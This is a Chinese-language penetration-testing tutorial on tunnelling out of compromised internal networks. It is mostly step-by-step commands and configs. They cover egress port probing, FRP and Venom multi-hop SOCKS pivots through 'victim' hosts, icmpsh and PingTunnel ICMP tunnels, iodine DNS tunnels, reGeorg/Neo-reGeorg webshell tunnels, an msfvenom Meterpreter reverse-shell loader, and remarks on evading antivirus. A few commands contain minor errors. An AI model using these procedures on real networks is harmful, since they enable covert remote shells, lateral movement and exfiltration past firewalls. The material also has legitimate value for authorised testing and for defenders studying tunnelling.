隧道穿透與代理轉發
注:本文所介紹所有工具僅限於安全研究和教學,用戶承擔因使用此工具而導致的所有法律和相關責任! 作者不承擔任何法律和相關責任!
隧道穿透與端口轉發
什么是隧道?
在滲透測試中,進入內網后,我們要判斷流量是否能夠出的去、進的來。
在實際的網絡情況下,流量會經過很多的邊界設備,在一般的企業內網中,可能會存在 IDP、IPS、防火牆等設備,如果異常的話,就會直接將通信阻斷;這里我們說的隧道,就是繞過端口屏蔽的通信方式。防火牆兩端的數據包通過防火牆所允許的數據包類型或者端口進行封裝,然后穿過防火牆,與對方通信。當被封裝的數據包達到了另外的地址的時候,解包還原,並將還原后的數據包發送到相應的服務器上。
常見的隧道包括三個大類:網絡層、應用層、傳輸層
出網探測
查看是否禁止了出站IP或者禁止了出站端口或者禁止了出站協議。
情況一: IP白名單
目標主機設置了嚴格的策略,防火牆只允許目標內網機器主動連接公網指定的IP
這樣的話,沒法反彈shell。
情況二:出站端口限制
Linux
1.Linux自帶命令
for i in {1..65500};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i***********************open************************" || echo "$i closed";done >> result.txt
2.nmap探測
nmap -sT -Pn -p- -v www.baidu.com
3.masscan探測
masscan -p 80,443,8000-9000 IP --rate=10000
Windows
如果RDP連接上去,可以使用圖形化工具(如御劍)。
如果是webshell,可以使用fscan、nmap。
fscan -h 127.0.0.1 -p 1-65535
情況三:禁止出站協議
對於禁止出站協議的情況,需要探測目標機器允許哪些協議出網。
可以用以下命令判斷:
命令 | 協議 |
---|---|
ping | icmp |
curl | http |
nslookup | dns |
目標出網隧道
如果目標出網,我們就正常Socks5反向代理打通隧道
工具有很多,什么Lcx,Ew等等
下面介紹兩種用的比較多且比較簡單的內網穿透工具
FRP+Proxifier實現內網socks5反向代理
https://github.com/fatedier/frp
Frp分為服務端和客戶端,從名字就可以看出來——frpc(client)|frps(server)
1.在服務端上配置frps.ini文件
git clone https://github.com/fatedier/frp/releases/download/v0.38.0/frp_0.38.0_linux_amd64.tar.gz
tar -zxvf frp_0.38.0_linux_amd64.tar.gz
cp -r frp_0.38.0_linux_amd64 frp # 重命名Dir,方便后續操作
rm -rf ./frp_0.38.0_linux_amd64
rm -rf ./frp_0.38.0_linux_amd64.tar.gz
cd frp
rm -rf frpc &rm -rf frpc_full.ini &rm -rf frpc.ini # 將客戶端配置刪除
vim frps.ini
配置如下:
[common]
bind_addr = 0.0.0.0 # 服務端監聽地址 默認0.0.0.0
bind_port = 7000 # 客戶端和服務端連接的端口
dashboard_port = 7500 # 服務端儀表板的端口
#token = 12345678 # 連接口令
dashboard_user = admin # 儀表盤用戶
dashboard_pwd = admin # 儀表盤口令
log_file = ./frps.log # frp日志
log_level = info # log_level記錄的日志級別
log_max_days = 3 # log_max_days日志留存3天
authentication_timeout = 0 # authentication_timeout超時時間
max_pool_count = 50 # max_pool_count最大鏈接池
如果沒有必要,端口均可使用默認值,token、user和password項請自行設置。
“bind_port”表示用於客戶端和服務端連接的端口,這個端口號我們之后在配置客戶端的時候要用到。
“dashboard_port”是服務端儀表板的端口,若使用7500端口,在配置完成服務啟動后可以通過瀏覽器訪問 x.x.x.x:7500 (其中x.x.x.x為VPS的IP)查看frp服務運行信息。
“token”是用於客戶端和服務端連接的口令,請自行設置並記錄,稍后會用到。
“dashboard_user”和“dashboard_pwd”表示打開儀表板頁面登錄的用戶名和密碼,自行設置即可。
“log_file”為frp日志文件
“log_level”記錄的日志級別
“log_max_days”日志留存天數
“max_pool_count”最大鏈接池
執行命令等待frpc連接
./frps -c frps.ini
2.在客戶端上下載frp並配置frpc.ini文件
配置frpc.ini文件
[common]
server_addr = vps_ip
server_port = 7000
tls_enable = ture
pool_count = 5
[plugin_socks]
type = tcp
remote_port = 8888
plugin = socks5
plugin_user = admin
plugin_passwd = admin
use_encryption = true
use_compression = true
server_addr:連接服務端的地址
server_port :連接服務端的端口
tls_enable:啟用 TLS 協議加密連接
pool_count:連接池大小
remote_port:是該條規則在服務端開放的端口號,待會兒用proxyfier連的端口
執行frpc
./frps -c frps.ini
成功連接
訪問服務端儀表盤,連接成功
3.配置proxyfier
打開Proxy Server
成功訪問內網,在本機做掃描啥的也很方便
本機做實驗懶得配Rules了,覺得看的眼花你也可以加點應用限制
Venom多級代理
Venom項目地址:https://github.com/Dliv3/Venom/releases
Venom是一款由騰訊玄武實驗室大佬Dliv3等人為滲透測試人員設計的使用Go開發的多級代理工具
使用非常的簡單,支持可視化網絡拓撲
agent監聽端口,admin發起連接:
./agent_linux_x64 -lport 7777
./admin.exe -rhost 192.168.110.131 -rport 7777
admin監聽端口,agent發起連接:
一般使用這種
./admin.exe -lport 9999
./agent_linux_x64 -rhost 192.168.110.1 -rport 9999
打開help
help Help information.
exit Exit.
show Display network topology.
getdes View description of the target node.
setdes [info] Add a description to the target node.
goto [id] Select id as the target node.
listen [lport] Listen on a port on the target node.
connect [rhost] [rport] Connect to a new node through the target node.
sshconnect [user@ip:port] [dport] Connect to a new node through ssh tunnel.
shell Start an interactive shell on the target node.
upload [local_file] [remote_file] Upload files to the target node.
download [remote_file] [local_file] Download files from the target node.
socks [lport] Start a socks5 server.
lforward [lhost] [sport] [dport] Forward a local sport to a remote dport.
rforward [rhost] [sport] [dport] Forward a remote sport to a local dport.
show
顯示網絡拓撲
goto ID
進入某agent節點
shell
獲取節點的交互式shell
socks [port]
本地與節點1的Socks5代理,代理端口為port
setdes/getdes
設置/獲取節點信息描述,起標記作用
upload/download
向節點上傳/從節點下載文件
lforward/rforward
將本地端口轉發到遠程/將遠程端口轉發到本地
rforward 192.168.110.131 80 8889
rforward 將node1網段的192.168.110.131的80轉發到admin節點本地的8889端口
二級代理
拓撲基本如圖:
我們最終要在victim1上建立一級代理,在victim2上建立二級代理,我們可以攻破
我們剛開始拿到了victim1的shell
上傳我們的venom,啟動admin和agent端
VPS(kali):
./admin_linux_x64 -lport 9999
Victim1:
./agent_linux_x64 -rhost VPS_ip -rport 9999 -passwd moonsec
一級代理此時就建立好了
在一級代理下,我們也很順利地getshell了victim2
我們可以配合Proxyfier使webshell工具(Antsword、Godzilla)走一級代理,這樣就能連上我們傳到內網Victim2服務器的shell
然后在Victim1服務器上開啟監聽端口:
(admin node) >>> goto 1
(node 1) >>> listen 9998
Victim2服務器反向去連Victim1:
agent64.exe -rhost victim1_IP -rport 9998
執行show
,看到多了個node 2
:
(node 1) >>> goto 2
在節點2上開啟socks5代理隧道,端口9998
(node 2) >>> socks 9998
然后就可以在Proxyfier
添加9998代理
我們的二級代理就配置成功,可以用Proxyfier
漫游Victim2的內網,進而打到Victim3
多級代理
其實多級代理也都是在前一級代理的基礎上再建立一個代理
比如三級代理:
假設我們又打到了victim3,發現victim3是個雙網卡,還有層內網,我們要在victim3上建立代理
我們的webshell工具也走了9998——剛才的二級代理,能連到Victim3的shell並上傳agent客戶端
直接在victim2上開啟監聽,監聽9997端口:
(node 2) >>> listen 9997
讓victim3發起連接:
agent64.exe -rhost Victim2_ip -rport 9997
執行show
,看到多了個node 3
:
(node 2) >>> goto 3
在節點2上開啟socks5代理隧道,端口9998
(node 3) >>> socks 9997
然后設置proxyfier
走9997代理,又可以漫游victim3的內網
其他多級代理也是在一級一級的基礎上去添加代理
ICMP隧道
有時候主機可能只出ICMP,那我們只能搭建ICMP隧道
ICMP協議 就是我們常說的 ping 命令,ping通即可通信。一般防火牆不會禁掉ICMP
常用的ICMP隧道工具有:icmpsh、Pingtunnel、powershell icmp
icmpsh隧道
服務端下載(Kali)
git clone https://github.com/bdamele/icmpsh
受控端直接上傳
然后關閉服務端的 ICMP 應答:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
實驗完了記得取消就設置為 0
官方文檔說運行run.sh
但實際上會報錯
然后是環境配置,pip
python2的pip2:
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
安裝impacket
pip2 install impacket -i https://pypi.douban.com/simple
服務端啟動:
python2 icmpsh_m.py <服務端IP> <受控端IP>
受控端啟動(Windows):
.\icmpsh.exe -t <服務端IP>
成功得到Shell
用Wireshark抓包可以看到全是ICMP包
PingTunnel+ew實現socks5代理
PingTunnel 是TCP/UDP/SOCKS5 流量偽裝成ICMP流量進行轉發的工具。
注意,在客戶端中運行一定要加noprint nolog兩個參數,否則會生成大量的日志文件
環境搭建
網絡拓撲:
假設我們已經獲得了Web服務器的shell,且該服務器只支持ICMP出網,內網主機Win7此時開啟3389RDP
我們需要通過建立ICMP隧道主要實現兩個目標:物理機通過代理RDP、CS/MSF上線
下載Pingtunnel:
Kali
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
報錯確實pacp.h
解決辦法:
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
又報錯 configure: error: Neither flex nor lex was found
解決辦法:
apt-get install flex bison
重新運行即可
./configure
make
sudo make install
回到Pingtunnel目錄,重新執行
cd ../PingTunnel
make && make install
執行成功后ptunnel命令就已經在bin目錄了
或者,你也可以去https://github.com/esrrhs/pingtunnel/releases直接下載執行文件
目標機win2008也傳上pingtunnel.exe
一、MSF/CS上線
在攻擊機上運行pingtunnel
,開啟服務器模式
./pingtunnel -type server
客戶端(win2008)運行
pingtunnel.exe -type client -l 127.0.0.1:8888 -s 192.168.110.131 -t 192.168.110.131:8888 -tcp 1 -noprint 1 -nolog 1
-l 用來監聽木馬傳輸流量的端口
-s 隧道另一端IP,即我們攻擊機的IP
-t 轉發端口,將本地8888轉發到攻擊機8888端口
攻擊機這邊已經收到連接信息了
MSF上線
msfconsole
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8888 -f exe > ./loader.exe
監聽器配置如下:
成功上線
二、ew+socks5代理實現遠程桌面
環境配置——開啟3389:
在win7把這什么Remote開頭的服務全開就完事了
再開啟“允許遠程桌面”選項
netstat -ano
所有IP都可以連接3389,待會兒我們就可以遠程桌面了
打通隧道:
攻擊機(Kali):
./ew_for_linux64 -s rcsocks -l 10080 -e 8898
10080作為連接隧道的端口,8898作為隧道的通道,可以想象為,通向內網主機的路口為10080,走的這條路為8898。8898上所有的人(流量)都會通往10080這個路口。
開啟PingTunnel服務端
將ew啟動的sock5協議轉換為icmp協議來隱藏傳輸
./pingtunnel -type server
Web服務端(WinServer2008):
客戶端執行PingTunnle
將8888這條路上的sock5流量信息隱藏為icmp類型的數據在本肉雞的9999端口進行轉發
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.110.131 -t 192.168.110.131:8898 -sock5 -1 -noprint 1 -nolog 1
在9999端口開啟轉發流量
ew_for_Win.exe -s rssocks -d 127.0.0.1 -e 9999
攻擊機這邊回顯,隧道打通
使用proxyfier代理
check成功
成功遠程桌面
DNS隧道
DNS隧道利用原理如圖:
如果我們在不出網機器構造一個惡意的域名(***.test.cn),本地的DNS服務器無法給出回答時,就會以迭代查詢的方式通過互聯網定位到所查詢域的權威DNS服務器。最后,這條DNS請求會落到我們提前搭建好的惡意DNS服務器上,於是乎,我們的不出網主機就和惡意DNS服務器交流上了。
使用Iodine進行DNS隧道搭建
環境准備
GitHub:https://github.com/boazsegev/iodine
一台VPS用來提供DNS服務(假)
一台內網主機
首先,在DNS添加記錄
配置完之后,可以ping一下dns.xxx.com,觀察是否能ping通。
VPS安裝iodine
apt-get install iodine
在VPS上運行iodine的服務端iodined
iodined -f -c -P d1m0n 10.1.1.2 dns2tcp.xxx.xxx -DD
-f:在前台運行
-c:禁止檢查所有傳入請求的客戶端IP地址。
-P:客戶端和服務端之間用於驗證身份的密碼。
-D:指定調試級別,-DD指第二級。“D”的數量隨級別增加。
這里的10.1.1.2為自定義局域網虛擬IP地址,建議不要與現有網段沖突
注意!填寫的dns2tcp地址為NS記錄
運行客戶端iodine,這里使用kali作為客戶端,因為kali默認是安裝好iodine的
iodine -f -P 0xL4k1d dns2tcp.xxx.xxx -M 200
-r:iodine有時會自動將DNS隧道切換為UDP隧道,該參數的作用是強制在任何情況下使用DNS隧道
-M:指定上行主機的大小。
-m:調節最大下行分片的大小。
-f:在前台運行
-T:指定DNS請求類型TYPE,可選項有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
-O:指定數據編碼規范。
-P:客戶端和服務端之間用於驗證身份的密碼。
-L:指定是否開啟懶惰模式,默認開啟。
-I:指定兩個請求之間的時間間隔。
隧道建立成功
ping一下剛才設置的虛擬IP——10.1.1.2
而且本地多了個網卡和同段IP 10.1.1.1
到這就出網了
建立Socks代理
對內網滲透來說,我們肯定是要橫向移動的。DNS隧道幫助我們出網,還需要再搭建一個socks代理便於我們橫向移動。
可以用比較輕便的ssh命令,將我們的客戶端作為代理服務器使用
ssh -N -D 9999 root@10.1.1.2
-N 指示SSH不要啟動shell,因為我們只是想創建代理
-D 設置動態端口轉發,SOCKS代理端口為8080
輸入10.1.1.1(kali)機器密碼,本地利用proxychains等類似工具連接本地的1111端口的sock5連接即可代理10.1.1.1的網絡。
安裝proxychains
sudo apt-get install proxychains
修改配置
vim /etc/proxychains.conf
設置代理端口為9999
curl一下看看成功沒
成功了,接下來就可以把10.1.1.2當跳板機漫游了
不出網HTTP隧道
不出網的環境在實戰中很常見,所以HTTP隧道是實戰中用的最多的,HTTP隧道的優點相對於以上兩個隧道的話就是穩定,ICMP丟包嚴重,而且非常慢,DNS也不穩定,有域名容易被溯源,他們上線都很麻煩。
reGeorg
reGeorg的使用
https://github.com/sensepost/reGeorg
把tunnel.nosocket.php傳到www目錄
訪問
回顯以下內容即成功
本地運行reGeorgSocksProxy.py
python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.nosocket.php
接下來接收127.0.0.1:8888的代理即可內網0漫游
但由於reGeorg在內網穿透中的廣泛使用,很多殺軟會把reGeorg殺掉,我們上傳就要做免殺處理,或者使用下面一款國內大佬開發的加密"reGeorg"——Neo-reGeorg
Neo-reGeorg
https://github.com/L-codes/Neo-reGeorg
Step1:設置密碼生成 tunnel.(aspx|ashx|jsp|jspx|php) 並上傳到WEB服務器
$ python neoreg.py generate -k 0xL4k1d
這一段應該就是我們的密鑰
將其上傳成功后,我們本地開啟代理
python neoreg.py -k 0xL4k1d -u http://192.168.110.1/tunnel.aspx
之后就可以配合proxyfier、proxychains工具代理本地1080進行漫游了
總結
這次給大家介紹了一些常見的隧道穿透工具的使用,主要都是建立socks5(畢竟大家都是成年人,肯定全都要,端口轉發用的不舒服)。然后在實驗的時候,因為有些環境套的比較深,筆者有時也會搞錯端口,所以勸大家在做代理轉發,尤其是多級代理的時候一定要做拓撲圖,代着代着端口就亂啦。
感謝閱讀!
Reference:
https://blog.csdn.net/weixin_42652002/article/details/112070453
https://www.cnblogs.com/cute-puli/p/15213394.html
https://zhuanlan.zhihu.com/p/158584490
https://www.cnblogs.com/hetianlab/p/15189530.html